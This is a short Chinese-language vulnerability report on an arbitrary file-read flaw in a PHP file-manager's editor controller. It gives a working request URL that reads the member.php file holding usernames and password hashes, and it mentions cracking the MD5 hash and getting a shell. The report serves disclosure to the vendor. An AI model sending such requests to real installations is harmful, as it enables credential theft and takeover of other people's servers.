在controller\editor.class.php文件中
方法如下:
这里获取$filename=_DIR($this->in['filename']); 获取$filename变量,其中_DIR自己跟踪吧! 过程不表。厂商明白。。。
然后看看$filecontents=file_get_contents($filename);//文件内容
获取了文件内容
本来这系统就是没有数据库的,用户名和密码直接写在member.php文件当中
所以我们构造好链接即可直接获取用户名和密码了
如下:
http://localhost/www/index.php?editor/fileGet&filename=data/system/member.php
直接菊花再现。。。。
shell我就不说了
其中密码的md5就爆了。。。